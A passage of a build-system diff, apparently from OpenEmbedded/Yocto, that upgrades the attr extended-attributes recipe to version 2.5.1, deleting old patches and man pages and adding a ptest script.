-+ uint32_t a_valuelen; /* number bytes in value of attr */
- char a_name[1]; /* attr name (NULL terminated) */
- } attrlist_ent_t;
-
-@@ -90,7 +91,7 @@ typedef struct attrlist_ent { /* data fr
- * operation on a cursor is to bzero() it.
- */
- typedef struct attrlist_cursor {
-- u_int32_t opaque[4]; /* an opaque cookie */
-+ uint32_t opaque[4]; /* an opaque cookie */
- } attrlist_cursor_t;
-
- /*
-Index: attr-2.4.47/man/man3/attr_list.3
-===================================================================
---- attr-2.4.47.orig/man/man3/attr_list.3
-+++ attr-2.4.47/man/man3/attr_list.3
-@@ -72,9 +72,9 @@ The contents of an \f4attrlist_t\fP stru
- .nf
- .ft 4
- .ta 9n 22n
--__int32_t al_count; /\(** number of entries in attrlist \(**/
--__int32_t al_more; /\(** T/F: more attrs (do syscall again) \(**/
--__int32_t al_offset[1]; /\(** byte offsets of attrs [var-sized] \(**/
-+int32_t al_count; /\(** number of entries in attrlist \(**/
-+int32_t al_more; /\(** T/F: more attrs (do syscall again) \(**/
-+int32_t al_offset[1]; /\(** byte offsets of attrs [var-sized] \(**/
- .ft 1
- .fi
- .RE
-@@ -113,7 +113,7 @@ include the following members:
- .nf
- .ft 4
- .ta 9n 22n
--u_int32_t a_valuelen; /\(** number bytes in value of attr \(**/
-+uint32_t a_valuelen; /\(** number bytes in value of attr \(**/
- char a_name[]; /\(** attr name (NULL terminated) \(**/
- .ft 1
- .fi
diff --git a/meta/recipes-support/attr/attr/attr-Missing-configure.ac.patch b/meta/recipes-support/attr/attr/attr-Missing-configure.ac.patch
deleted file mode 100644
index 20fcc3cee7..0000000000
--- a/meta/recipes-support/attr/attr/attr-Missing-configure.ac.patch
+++ /dev/null
@@ -1,63 +0,0 @@
-Subject: [PATCH] attr: Missing configure.ac
-
-Upstream-Status: Backport [Upstream released tarball missing this file]
-Signed-off-by: Nathan Rossi <nathan.rossi@xilinx.com>
----
- configure.ac | 48 ++++++++++++++++++++++++++++++++++++++++++++++++
- 1 file changed, 48 insertions(+)
- create mode 100644 configure.ac
-
-diff --git a/configure.ac b/configure.ac
-new file mode 100644
-index 0000000..b966d0e
---- /dev/null
-+++ b/configure.ac
-@@ -0,0 +1,48 @@
-+# Copyright (C) 2009 Andreas Gruenbacher <agruen@suse.de>
-+#
-+# This program is free software: you can redistribute it and/or modify it
-+# under the terms of the GNU General Public License as published by
-+# the Free Software Foundation, either version 2 of the License, or
-+# (at your option) any later version.
-+#
-+# This program is distributed in the hope that it will be useful,
-+# but WITHOUT ANY WARRANTY; without even the implied warranty of
-+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+# GNU General Public License for more details.
-+#
-+# You should have received a copy of the GNU General Public License
-+# along with this program. If not, see <http://www.gnu.org/licenses/>.
-+#
-+AC_INIT(include/attributes.h)
-+AC_CONFIG_AUX_DIR([.])
-+AC_CONFIG_MACRO_DIR([m4])
-+AC_CONFIG_HEADER(include/config.h)
-+AC_PREFIX_DEFAULT(/usr)
-+
-+AC_PROG_LIBTOOL
-+
-+AC_ARG_ENABLE(shared,
-+[ --enable-shared=[yes/no] Enable use of shared libraries [default=yes]],,
-+ enable_shared=yes)
-+AC_SUBST(enable_shared)
-+
-+AC_ARG_ENABLE(gettext,
-+[ --enable-gettext=[yes/no] Enable alternate language support [default=yes]],,
-+ enable_gettext=yes)
-+AC_SUBST(enable_gettext)
-+
-+AC_ARG_ENABLE(lib64,
-+[ --enable-lib64=[yes/no] Enable lib64 support [default=no]],,
-+ enable_lib64=no)
-+AC_SUBST(enable_lib64)
-+
-+AC_PACKAGE_GLOBALS(attr)
-+AC_PACKAGE_UTILITIES(attr)
-+AC_MANUAL_FORMAT
-+AC_MULTILIB($enable_lib64)
-+
-+AC_C_CONST
-+AC_TYPE_MODE_T
-+AC_FUNC_ALLOCA
-+
-+AC_OUTPUT(include/builddefs)
diff --git a/meta/recipes-support/attr/attr/dont-use-decl-macros.patch b/meta/recipes-support/attr/attr/dont-use-decl-macros.patch
deleted file mode 100644
index 9d4b8929e8..0000000000
--- a/meta/recipes-support/attr/attr/dont-use-decl-macros.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-Use extern "C" instead of __BEGIN_DECL/__END_DECL macros
-these macros are defined in sys/cdefs.h for glibc and this header is not available on all libc
-
-anyway they defined like below
-
-#ifdef __cplusplus
-# define __BEGIN_DECLS extern "C" {
-# define __END_DECLS }
-#else
-# define __BEGIN_DECLS /* empty */
-# define __END_DECLS /* empty */
-#endif
-
-__THROW macro is also not available on musl, defined thusly
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: attr-2.4.47/include/xattr.h
-===================================================================
---- attr-2.4.47.orig/include/xattr.h 2014-04-02 00:01:30.252091280 -0700
-+++ attr-2.4.47/include/xattr.h 2014-04-02 00:12:57.985428099 -0700
-@@ -30,8 +30,20 @@
- #define XATTR_CREATE 0x1 /* set value, fail if attr already exists */
- #define XATTR_REPLACE 0x2 /* set value, fail if attr does not exist */
-
--
--__BEGIN_DECLS
-+#ifndef __THROW
-+# ifndef __GNUC_PREREQ
-+# define __GNUC_PREREQ(maj, min) (0)
-+# endif
-+# if defined __cplusplus && __GNUC_PREREQ (2,8)
-+# define __THROW throw ()
-+# else
-+# define __THROW
-+# endif
-+#endif
-+
-+#ifdef __cplusplus
-+extern "C" {
-+#endif
-
- extern int setxattr (const char *__path, const char *__name,
- const void *__value, size_t __size, int __flags) __THROW;
-@@ -58,6 +70,8 @@
- extern int lremovexattr (const char *__path, const char *__name) __THROW;
- extern int fremovexattr (int __filedes, const char *__name) __THROW;
-
--__END_DECLS
-+#ifdef __cplusplus
-+}
-+#endif
-
- #endif /* __XATTR_H__ */
diff --git a/meta/recipes-support/attr/attr/run-ptest b/meta/recipes-support/attr/attr/run-ptest
new file mode 100644
index 0000000000..f64244f239
--- /dev/null
+++ b/meta/recipes-support/attr/attr/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+make test-suite.log
diff --git a/meta/recipes-support/attr/attr_2.4.47.bb b/meta/recipes-support/attr/attr_2.4.47.bb
deleted file mode 100644
index fc88bef830..0000000000
--- a/meta/recipes-support/attr/attr_2.4.47.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-require attr.inc
-
-# configure.ac was missing from the release tarball. This should be fixed in
-# future releases of attr, remove this when updating the recipe.
-SRC_URI += "file://attr-Missing-configure.ac.patch \
- file://dont-use-decl-macros.patch \
- file://Remove-the-section-2-man-pages.patch \
- file://Remove-the-attr.5-man-page-moved-to-man-pages.patch \
- file://0001-Use-stdint-types-consistently.patch \
- "
-
-SRC_URI[md5sum] = "84f58dec00b60f2dc8fd1c9709291cc7"
-SRC_URI[sha256sum] = "25772f653ac5b2e3ceeb89df50e4688891e21f723c460636548971652af0a859"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/attr_2.5.1.bb b/meta/recipes-support/attr/attr_2.5.1.bb
new file mode 100644
index 0000000000..5c5f7bcffb
--- /dev/null
+++ b/meta/recipes-support/attr/attr_2.5.1.bb
@@ -0,0 +1,5 @@
+require attr.inc
+
+SRC_URI[sha256sum] = "bae1c6949b258a0d68001367ce0c741cebdacdd3b62965d17e5eb23cd78adaf8"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/ea-acl.inc b/meta/recipes-support/attr/ea-acl.inc
deleted file mode 100644
index 9336ffc938..0000000000
--- a/meta/recipes-support/attr/ea-acl.inc
+++ /dev/null
@@ -1,52 +0,0 @@
-# this build system is mostly shared by attr and acl
-
-SRC_URI += "file://relative-libdir.patch;striplevel=0 \
- "
-# This patch should be applied after '(attr\|acl)-Missing-configure.ac.patch'
-SRC_URI_append = " file://0001-Added-configure-option-to-enable-disable-static-libr.patch"
-
-inherit autotools-brokensep gettext
-
-# When upstream is using automake properly, this can be removed
-CLEANBROKEN = "1"
-
-# the package comes with a custom config.h.in, it cannot be
-# overwritten by autoheader
-EXTRA_AUTORECONF += "--exclude=autoheader"
-EXTRA_OECONF = "INSTALL_USER=root INSTALL_GROUP=root"
-EXTRA_OECONF_append_class-native = " --enable-gettext=no"
-EXTRA_OECONF_append_class-target = "${@['', ' --disable-gettext '][(d.getVar('USE_NLS') == 'no')]}"
-
-EXTRA_OEMAKE = "PKG_LIB_DIR=${base_libdir} PKG_DEVLIB_DIR=${libdir}"
-
-do_install () {
- oe_runmake install install-lib install-dev DIST_ROOT="${D}" ZIP="gzip -n"
-}
-
-do_install_append_class-native () {
- if test "${libdir}" = "${base_libdir}" ; then
- return
- fi
- librelpath=${@os.path.relpath(d.getVar('libdir'), d.getVar('base_libdir'))}
- baselibrelpath=${@os.path.relpath(d.getVar('base_libdir'), d.getVar('libdir'))}
-
- # Remove bad symlinks & create the correct symlinks
- if test -L ${D}${libdir}/lib${BPN}.so ; then
- rm -rf ${D}${libdir}/lib${BPN}.so
- ln -sf $baselibrelpath/lib${BPN}.so ${D}${libdir}/lib${BPN}.so
- fi
- if test -L ${D}${base_libdir}/lib${BPN}.a ; then
- rm -rf ${D}${base_libdir}/lib${BPN}.a
- ln -sf $librelpath/lib${BPN}.a ${D}${base_libdir}/lib${BPN}.a
- fi
- if test -L ${D}${base_libdir}/lib${BPN}.la ; then
- rm -rf ${D}${base_libdir}/lib${BPN}.la
- ln -sf $librelpath/lib${BPN}.la ${D}${base_libdir}/lib${BPN}.la
- fi
-}
-
-PACKAGES =+ "lib${BPN}"
-
-FILES_lib${BPN} = "${base_libdir}/lib*${SOLIBS}"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/attr/files/0001-Added-configure-option-to-enable-disable-static-libr.patch b/meta/recipes-support/attr/files/0001-Added-configure-option-to-enable-disable-static-libr.patch
deleted file mode 100644
index 1c1159f2c9..0000000000
--- a/meta/recipes-support/attr/files/0001-Added-configure-option-to-enable-disable-static-libr.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-From 01256c61ba126449c46dd4ab5d5e145488b981fa Mon Sep 17 00:00:00 2001
-From: Amarnath Valluri <amarnath.valluri@intel.com>
-Date: Mon, 23 Jan 2017 13:25:13 +0200
-Subject: [PATCH] Added configure option to enable/disable static library
-
-Create static library archive only in case of --enable-static.
-
-Upstream-Status: Pending
-
-Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com>
----
- configure.ac | 6 ++++++
- include/builddefs.in | 1 +
- include/buildmacros | 3 +++
- 3 files changed, 10 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index b966d0e..e48268b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -26,6 +26,12 @@ AC_ARG_ENABLE(shared,
- enable_shared=yes)
- AC_SUBST(enable_shared)
-
-+AC_ARG_ENABLE(static,
-+[ --enable-static=[yes/no] Enable use of static libraries [default=yes]],,
-+ enable_static=yes)
-+AC_SUBST(enable_static)
-+
-+
- AC_ARG_ENABLE(gettext,
- [ --enable-gettext=[yes/no] Enable alternate language support [default=yes]],,
- enable_gettext=yes)
-diff --git a/include/builddefs.in b/include/builddefs.in
-index d9931db..3b3dbd2 100644
---- a/include/builddefs.in
-+++ b/include/builddefs.in
-@@ -71,6 +71,7 @@ RPMBUILD = @rpmbuild@
- RPM_VERSION = @rpm_version@
-
- ENABLE_SHARED = @enable_shared@
-+ENABLE_STATIC = @enable_static@
- ENABLE_GETTEXT = @enable_gettext@
-
- HAVE_ZIPPED_MANPAGES = @have_zipped_manpages@
-diff --git a/include/buildmacros b/include/buildmacros
-index 39fa7e2..b0f25c5 100644
---- a/include/buildmacros
-+++ b/include/buildmacros
-@@ -80,6 +80,7 @@ endif
- # /usr/lib.
- ifeq ($(ENABLE_SHARED),yes)
- INSTALL_LTLIB_DEV = \
-+ set -x; \
- cd $(TOPDIR)/$(LIBNAME)/.libs; \
- ../$(INSTALL) -m 755 -d $(PKG_DEVLIB_DIR); \
- ../$(INSTALL) -m 644 -T old_lib $(LIBNAME).lai $(PKG_DEVLIB_DIR); \
-@@ -88,7 +89,9 @@ INSTALL_LTLIB_DEV = \
- ../$(INSTALL) -T so_base $(LIBNAME).lai $(PKG_LIB_DIR); \
- if test "x$(PKG_DEVLIB_DIR)" != "x$(PKG_LIB_DIR)" ; then \
- rel_lib_prefix=$$(echo $(PKG_LIB_DIR) | sed 's,\(^/\|\)[^/][^/]*,..,g'); \
-+ if test "$(ENABLE_STATIC)" = "yes" ; then \
- ../$(INSTALL) -S $$rel_lib_prefix$(PKG_DEVLIB_DIR)/$(LIBNAME).a $(PKG_LIB_DIR)/$(LIBNAME).a; \
-+ fi ;\
- ../$(INSTALL) -S $$rel_lib_prefix$(PKG_DEVLIB_DIR)/$(LIBNAME).la $(PKG_LIB_DIR)/$(LIBNAME).la; \
- rel_devlib_prefix=$$(echo $(PKG_DEVLIB_DIR) | sed 's,\(^/\|\)[^/][^/]*,..,g'); \
- ../$(INSTALL) -S $$rel_devlib_prefix$(PKG_LIB_DIR)/$(LIBNAME).so $(PKG_DEVLIB_DIR)/$(LIBNAME).so; \
---
-2.7.4
-
diff --git a/meta/recipes-support/attr/files/Remove-the-attr.5-man-page-moved-to-man-pages.patch b/meta/recipes-support/attr/files/Remove-the-attr.5-man-page-moved-to-man-pages.patch
deleted file mode 100644
index d5ab83d7c6..0000000000
--- a/meta/recipes-support/attr/files/Remove-the-attr.5-man-page-moved-to-man-pages.patch
+++ /dev/null
@@ -1,240 +0,0 @@
-From 6047c8522b91235ad1e835f44f5e36472d9d49b2 Mon Sep 17 00:00:00 2001
-From: Andreas Gruenbacher <andreas.gruenbacher@gmail.com>
-Date: Wed, 22 Apr 2015 11:46:59 +0200
-Subject: [PATCH 2/2] Remove the attr.5 man page (moved to man-pages)
-
-Commit dce9b4448c7f2b22bd206cd068fb05cb2f3255b9 from
-https://git.savannah.nongnu.org/git/attr.git
-
-The attr.5 page is part of the extended attribute system call documentation,
-which has been moved into the man-pages package. Move the attr.5 page there
-as well.
-
-Upstream-Status: Backport
-
-[MA: updated to apply directly to v2.4.47]
-Signed-off-by: Mark Asselstine <mark.asselstine@windriver.com>
----
- man/Makefile | 2 +-
- man/man5/Makefile | 35 -------------
- man/man5/attr.5 | 153 ------------------------------------------------------
- 3 files changed, 1 insertion(+), 189 deletions(-)
- delete mode 100644 man/man5/Makefile
- delete mode 100644 man/man5/attr.5
-
-diff --git a/man/Makefile b/man/Makefile
-index 755daed..9301f09 100644
---- a/man/Makefile
-+++ b/man/Makefile
-@@ -19,7 +19,7 @@
- TOPDIR = ..
- include $(TOPDIR)/include/builddefs
-
--SUBDIRS = man1 man3 man5
-+SUBDIRS = man1 man3
-
- default : $(SUBDIRS)
-
-diff --git a/man/man5/Makefile b/man/man5/Makefile
-deleted file mode 100644
-index 6b70d3d..0000000
---- a/man/man5/Makefile
-+++ /dev/null
-@@ -1,35 +0,0 @@
--#
--# Copyright (c) 2000, 2002 Silicon Graphics, Inc. All Rights Reserved.
--# Copyright (C) 2009 Andreas Gruenbacher <agruen@suse.de>
--#
--# This program is free software: you can redistribute it and/or modify it
--# under the terms of the GNU General Public License as published by
--# the Free Software Foundation, either version 2 of the License, or
--# (at your option) any later version.
--#
--# This program is distributed in the hope that it will be useful,
--# but WITHOUT ANY WARRANTY; without even the implied warranty of
--# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--# GNU General Public License for more details.
--#
--# You should have received a copy of the GNU General Public License
--# along with this program. If not, see <http://www.gnu.org/licenses/>.
--#
--
--TOPDIR = ../..
--include $(TOPDIR)/include/builddefs
--
--MAN_SECTION = 5
--
--MAN_PAGES = $(shell echo *.$(MAN_SECTION))
--MAN_DEST = $(PKG_MAN_DIR)/man$(MAN_SECTION)
--LSRCFILES = $(MAN_PAGES)
--
--default : $(MAN_PAGES)
--
--include $(BUILDRULES)
--
--install : default
-- $(INSTALL) -m 755 -d $(MAN_DEST)
-- $(INSTALL_MAN)
--install-dev install-lib:
-diff --git a/man/man5/attr.5 b/man/man5/attr.5
-deleted file mode 100644
-index a02757d..0000000
---- a/man/man5/attr.5
-+++ /dev/null
-@@ -1,153 +0,0 @@
--.\" Extended attributes manual page
--.\"
--.\" Copyright (C) 2000, 2002, 2007 Andreas Gruenbacher <agruen@suse.de>
--.\" Copyright (C) 2001, 2002, 2004, 2007 Silicon Graphics, Inc.
--.\" All rights reserved.
--.\"
--.\" This is free documentation; you can redistribute it and/or
--.\" modify it under the terms of the GNU General Public License as
--.\" published by the Free Software Foundation; either version 2 of
--.\" the License, or (at your option) any later version.
--.\"
--.\" The GNU General Public License's references to "object code"
--.\" and "executables" are to be interpreted as the output of any
--.\" document formatting or typesetting system, including
--.\" intermediate and printed output.
--.\"
--.\" This manual is distributed in the hope that it will be useful,
--.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
--.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--.\" GNU General Public License for more details.
--.\"
--.\" You should have received a copy of the GNU General Public
--.\" License along with this manual. If not, see
--.\" <http://www.gnu.org/licenses/>.
--.\"
--.TH ATTR 5
--.SH NAME
--attr - Extended attributes
--.SH DESCRIPTION
--Extended attributes are name:value pairs associated permanently with
--files and directories, similar to the environment strings associated
--with a process.
--An attribute may be defined or undefined.
--If it is defined, its value may be empty or non-empty.
--.PP
--Extended attributes are extensions to the normal attributes which are
--associated with all inodes in the system (i.e. the
--.BR stat (2)
--data).
--They are often used to provide additional functionality
--to a filesystem \- for example, additional security features such as
--Access Control Lists (ACLs) may be implemented using extended attributes.
--.PP
--Users with search access to a file or directory may retrieve a list of
--attribute names defined for that file or directory.
--.PP
--Extended attributes are accessed as atomic objects.
--Reading retrieves the whole value of an attribute and stores it in a buffer.
--Writing replaces any previous value with the new value.
--.PP
--Space consumed for extended attributes is counted towards the disk quotas
--of the file owner and file group.
--.PP
--Currently, support for extended attributes is implemented on Linux by the
--ext2, ext3, ext4, XFS, JFS and reiserfs filesystems.
--.SH EXTENDED ATTRIBUTE NAMESPACES
--Attribute names are zero-terminated strings.
--The attribute name is always specified in the fully qualified
--.IR namespace.attribute
--form, eg.
--.IR user.mime_type ,
--.IR trusted.md5sum ,
--.IR system.posix_acl_access ,
--or
--.IR security.selinux .
--.PP
--The namespace mechanism is used to define different classes of extended
--attributes.
--These different classes exist for several reasons, e.g. the permissions
--and capabilities required for manipulating extended attributes of one
--namespace may differ to another.
--.PP
--Currently the
--.IR security ,
--.IR system ,
--.IR trusted ,
--and
--.IR user
--extended attribute classes are defined as described below. Additional
--classes may be added in the future.
--.SS Extended security attributes
--The security attribute namespace is used by kernel security modules,
--such as Security Enhanced Linux.
--Read and write access permissions to security attributes depend on the
--policy implemented for each security attribute by the security module.
--When no security module is loaded, all processes have read access to
--extended security attributes, and write access is limited to processes
--that have the CAP_SYS_ADMIN capability.
--.SS Extended system attributes
--Extended system attributes are used by the kernel to store system
--objects such as Access Control Lists and Capabilities. Read and write
--access permissions to system attributes depend on the policy implemented
--for each system attribute implemented by filesystems in the kernel.
--.SS Trusted extended attributes
--Trusted extended attributes are visible and accessible only to processes that
--have the CAP_SYS_ADMIN capability (the super user usually has this
--capability).
--Attributes in this class are used to implement mechanisms in user
--space (i.e., outside the kernel) which keep information in extended attributes
--to which ordinary processes should not have access.
--.SS Extended user attributes
--Extended user attributes may be assigned to files and directories for
--storing arbitrary additional information such as the mime type,
--character set or encoding of a file. The access permissions for user
--attributes are defined by the file permission bits.
--.PP
--The file permission bits of regular files and directories are
--interpreted differently from the file permission bits of special files
--and symbolic links. For regular files and directories the file
--permission bits define access to the file's contents, while for device special
--files they define access to the device described by the special file.
--The file permissions of symbolic links are not used in access
--checks. These differences would allow users to consume filesystem resources in
--a way not controllable by disk quotas for group or world writable special files and directories.
--.PP
--For this reason, extended user attributes are only allowed for regular files and directories, and access to extended user attributes is restricted to the
--owner and to users with appropriate capabilities for directories with the
--sticky bit set (see the
--.BR chmod (1)
--manual page for an explanation of Sticky Directories).
--.SH FILESYSTEM DIFFERENCES
--The kernel and the filesystem may place limits on the maximum number
--and size of extended attributes that can be associated with a file.
--Some file systems, such as ext2/3 and reiserfs, require the filesystem
--to be mounted with the
--.B user_xattr
--mount option in order for extended user attributes to be used.
--.PP
--In the current ext2, ext3 and ext4 filesystem implementations, each
--extended attribute must fit on a single filesystem block (1024, 2048
--or 4096 bytes, depending on the block size specified when the
--filesystem was created).
--.PP
--In the XFS and reiserfs filesystem implementations, there is no
--practical limit on the number or size of extended attributes
--associated with a file, and the algorithms used to store extended
--attribute information on disk are scalable.
--.PP
--In the JFS filesystem implementation, names can be up to 255 bytes and
--values up to 65,535 bytes.
--.SH ADDITIONAL NOTES
--Since the filesystems on which extended attributes are stored might also
--be used on architectures with a different byte order and machine word
--size, care should be taken to store attribute values in an architecture
--independent format.
--.SH AUTHORS
--Andreas Gruenbacher,
--.RI < a.gruenbacher@bestbits.at >
--and the SGI XFS development team,
--.RI < linux-xfs@oss.sgi.com >.
--.SH SEE ALSO
--getfattr(1),
--setfattr(1).
---
-2.7.4
-
diff --git a/meta/recipes-support/attr/files/Remove-the-section-2-man-pages.patch b/meta/recipes-support/attr/files/Remove-the-section-2-man-pages.patch
deleted file mode 100644
index 044c5a037c..0000000000
--- a/meta/recipes-support/attr/files/Remove-the-section-2-man-pages.patch
+++ /dev/null
@@ -1,666 +0,0 @@
-From b972600a26f3a930e53e2fce2625266a5d29813e Mon Sep 17 00:00:00 2001
-From: Andreas Gruenbacher <andreas.gruenbacher@gmail.com>
-Date: Tue, 14 Apr 2015 23:53:11 +0200
-Subject: [PATCH 1/2] Remove the section 2 man pages
-
-Commit 8d1263bca95722d66a6f8e83450f49d0956ea534 from upstream
-https://git.savannah.nongnu.org/git/attr.git/
-
-The section 2 man pages have long since been added to the man-pages package
-which documents all system calls; they were disabled in attr by default since
-January 2014. Get rid of them here.
-
-Upstream-Status: Backport
-
-[MA: modified to apply directly to v2.4.47]
-Signed-off-by: Mark Asselstine <mark.asselstine@windriver.com>
----
- man/Makefile | 2 +-
- man/man2/Makefile | 35 -----------
- man/man2/getxattr.2 | 143 --------------------------------------------
- man/man2/listxattr.2 | 158 -------------------------------------------------
- man/man2/removexattr.2 | 111 ----------------------------------
- man/man2/setxattr.2 | 143 --------------------------------------------
- 6 files changed, 1 insertion(+), 591 deletions(-)
- delete mode 100644 man/man2/Makefile
- delete mode 100644 man/man2/getxattr.2
- delete mode 100644 man/man2/listxattr.2
- delete mode 100644 man/man2/removexattr.2
- delete mode 100644 man/man2/setxattr.2
-
-diff --git a/man/Makefile b/man/Makefile
-index 9535426..755daed 100644
---- a/man/Makefile
-+++ b/man/Makefile
-@@ -19,7 +19,7 @@
- TOPDIR = ..
- include $(TOPDIR)/include/builddefs
-
--SUBDIRS = man1 man2 man3 man5
-+SUBDIRS = man1 man3 man5
-
- default : $(SUBDIRS)
-
-diff --git a/man/man2/Makefile b/man/man2/Makefile
-deleted file mode 100644
-index d77309d..0000000
---- a/man/man2/Makefile
-+++ /dev/null
-@@ -1,35 +0,0 @@
--#
--# Copyright (c) 2000-2002 Silicon Graphics, Inc. All Rights Reserved.
--# Copyright (C) 2009 Andreas Gruenbacher <agruen@suse.de>
--#
--# This program is free software: you can redistribute it and/or modify it
--# under the terms of the GNU General Public License as published by
--# the Free Software Foundation, either version 2 of the License, or
--# (at your option) any later version.
--#
--# This program is distributed in the hope that it will be useful,
--# but WITHOUT ANY WARRANTY; without even the implied warranty of
--# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--# GNU General Public License for more details.
--#
--# You should have received a copy of the GNU General Public License
--# along with this program. If not, see <http://www.gnu.org/licenses/>.
--#
--
--TOPDIR = ../..
--include $(TOPDIR)/include/builddefs
--
--MAN_SECTION = 2
--
--MAN_PAGES = $(shell echo *.$(MAN_SECTION))
--MAN_DEST = $(PKG_MAN_DIR)/man$(MAN_SECTION)
--LSRCFILES = $(MAN_PAGES)
--
--default install : $(MAN_PAGES)
--
--include $(BUILDRULES)
--
--install-dev : default
-- $(INSTALL) -m 755 -d $(MAN_DEST)
-- $(INSTALL_MAN)
--install-lib:
-diff --git a/man/man2/getxattr.2 b/man/man2/getxattr.2
-deleted file mode 100644
-index 405ad89..0000000
---- a/man/man2/getxattr.2
-+++ /dev/null
-@@ -1,143 +0,0 @@
--.\"
--.\" Extended attributes system calls manual pages
--.\"
--.\" (C) Andreas Gruenbacher, February 2001
--.\" (C) Silicon Graphics Inc, September 2001
--.\"
--.\" This is free documentation; you can redistribute it and/or
--.\" modify it under the terms of the GNU General Public License as
--.\" published by the Free Software Foundation; either version 2 of
--.\" the License, or (at your option) any later version.
--.\"
--.\" The GNU General Public License's references to "object code"
--.\" and "executables" are to be interpreted as the output of any
--.\" document formatting or typesetting system, including
--.\" intermediate and printed output.
--.\"
--.\" This manual is distributed in the hope that it will be useful,
--.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
--.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--.\" GNU General Public License for more details.
--.\"
--.\" You should have received a copy of the GNU General Public
--.\" License along with this manual. If not, see
--.\" <http://www.gnu.org/licenses/>.
--.\"
--.TH GETXATTR 2 "Extended Attributes" "Dec 2001" "System calls"
--.SH NAME
--getxattr, lgetxattr, fgetxattr \- retrieve an extended attribute value
--.SH SYNOPSIS
--.fam C
--.nf
--.B #include <sys/types.h>
--.B #include <attr/xattr.h>
--.sp
--.BI "ssize_t getxattr (const char\ *" path ", const char\ *" name ",
--.BI "\t\t\t\t void\ *" value ", size_t " size );
--.BI "ssize_t lgetxattr (const char\ *" path ", const char\ *" name ",
--.BI "\t\t\t\t void\ *" value ", size_t " size );
--.BI "ssize_t fgetxattr (int " filedes ", const char\ *" name ",
--.BI "\t\t\t\t void\ *" value ", size_t " size );
--.fi
--.fam T
--.SH DESCRIPTION
--Extended attributes are
--.IR name :\c
--.I value
--pairs associated with inodes (files, directories, symlinks, etc).
--They are extensions to the normal attributes which are associated
--with all inodes in the system (i.e. the
--.BR stat (2)
--data).
--A complete overview of extended attributes concepts can be found in
--.BR attr (5).
--.PP
--.B getxattr
--retrieves the
--.I value
--of the extended attribute identified by
--.I name
--and associated with the given
--.I path
--in the filesystem.
--The length of the attribute
--.I value
--is returned.
--.PP
--.B lgetxattr
--is identical to
--.BR getxattr ,
--except in the case of a symbolic link, where the link itself is
--interrogated, not the file that it refers to.
--.PP
--.B fgetxattr
--is identical to
--.BR getxattr ,
--only the open file pointed to by
--.I filedes
--(as returned by
--.BR open (2))
--is interrogated in place of
--.IR path .
--.PP
--An extended attribute
--.I name
--is a simple NULL-terminated string.
--The name includes a namespace prefix \- there may be several, disjoint
--namespaces associated with an individual inode.
--The value of an extended attribute is a chunk of arbitrary textual or
--binary data of specified length.
--.PP
--An empty buffer of
--.I size
--zero can be passed into these calls to return the current size of the
--named extended attribute, which can be used to estimate the size of a
--buffer which is sufficiently large to hold the value associated with
--the extended attribute.
--.PP
--The interface is designed to allow guessing of initial buffer
--sizes, and to enlarge buffers when the return value indicates
--that the buffer provided was too small.
--.SH RETURN VALUE
--On success, a positive number is returned indicating the size of the
--extended attribute value.
--On failure, \-1 is returned and
--.I errno
--is set appropriately.
--.PP
--If the named attribute does not exist, or the process has no access to
--this attribute,
--.I errno
--is set to ENOATTR.
--.PP
--If the
--.I size
--of the
--.I value
--buffer is too small to hold the result,
--.I errno
--is set to ERANGE.
--.PP
--If extended attributes are not supported by the filesystem, or are disabled,
--.I errno
--is set to ENOTSUP.
--.PP
--The errors documented for the
--.BR stat (2)
--system call are also applicable here.
--.SH AUTHORS
--Andreas Gruenbacher,
--.RI < a.gruenbacher@bestbits.at >
--and the SGI XFS development team,
--.RI < linux-xfs@oss.sgi.com >.
--Please send any bug reports or comments to these addresses.
--.SH SEE ALSO
--.BR getfattr (1),
--.BR setfattr (1),
--.BR open (2),
--.BR stat (2),
--.BR setxattr (2),
--.BR listxattr (2),
--.BR removexattr (2),
--and
--.BR attr (5).
-diff --git a/man/man2/listxattr.2 b/man/man2/listxattr.2
-deleted file mode 100644
-index 8b4371c..0000000
---- a/man/man2/listxattr.2
-+++ /dev/null
-@@ -1,158 +0,0 @@
--.\"
--.\" Extended attributes system calls manual pages
--.\"
--.\" (C) Andreas Gruenbacher, February 2001
--.\" (C) Silicon Graphics Inc, September 2001
--.\"
--.\" This is free documentation; you can redistribute it and/or
--.\" modify it under the terms of the GNU General Public License as
--.\" published by the Free Software Foundation; either version 2 of
--.\" the License, or (at your option) any later version.
--.\"
--.\" The GNU General Public License's references to "object code"
--.\" and "executables" are to be interpreted as the output of any
--.\" document formatting or typesetting system, including
--.\" intermediate and printed output.
--.\"
--.\" This manual is distributed in the hope that it will be useful,
--.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
--.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
--.\" GNU General Public License for more details.
--.\"
--.\" You should have received a copy of the GNU General Public
--.\" License along with this manual. If not, see
--.\" <http://www.gnu.org/licenses/>.
--.\"
--.TH LISTXATTR 2 "Extended Attributes" "Dec 2001" "System calls"
--.SH NAME
--listxattr, llistxattr, flistxattr \- list extended attribute names
--.SH SYNOPSIS
--.fam C
--.nf
--.B #include <sys/types.h>
--.B #include <attr/xattr.h>
--.sp
--.BI "ssize_t listxattr (const char\ *" path ",
--.BI "\t\t\t\t char\ *" list ", size_t " size );
--.BI "ssize_t llistxattr (const char\ *" path ",
--.BI "\t\t\t\t char\ *" list ", size_t " size );
--.BI "ssize_t flistxattr (int " filedes ",
--.BI "\t\t\t\t char\ *" list ", size_t " size );
--.fi
--.fam T
--.SH DESCRIPTION
--Extended attributes are name:value
